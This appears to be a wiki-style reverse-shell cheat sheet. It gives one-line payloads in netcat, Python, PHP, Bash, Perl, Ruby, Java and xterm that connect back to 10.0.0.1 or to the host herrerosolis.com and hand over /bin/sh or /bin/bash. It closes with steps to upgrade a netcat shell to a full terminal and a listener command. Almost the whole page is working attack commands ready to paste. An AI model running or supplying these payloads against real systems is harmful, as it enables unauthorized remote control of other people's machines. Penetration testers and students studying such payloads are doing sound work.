Netcat[edit]

with -e support[edit]

nc -e /bin/sh 10.0.0.1 1234

Without -e suport[edit]

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Python[edit]


Python 2.7 (Linux)[edit]

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("herrerosolis.com", 8000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("herrerosolis.com",8000))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

Python 3[edit]

python3 -c 'import socket,os,pty; s=socket.create_connection(("herrerosolis.com",8000)); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; os.putenv("TERM","xterm-256color"); pty.spawn("/bin/bash")'

PHP[edit]

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

if it doesn't work try php4 php5 php6...

Bash[edit]

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Perl[edit]

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby[edit]

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java[edit]

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

xterm[edit]

xterm -display 10.0.0.1:1

Upgrading nc shell[edit]


$ stty -a  # to get rows and columns from your machine
$ nc -lvp 444  # connect from the attacked machine
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl + Z
$ stty raw -echo
$ fg 1
$ reset
$ export SHELL=bash
$ export TERM=xterm256-color  # linux | screen
$ stty rows 55 columns 211

Reverse Shell Listener[edit]

nc -lvp 8000 -k
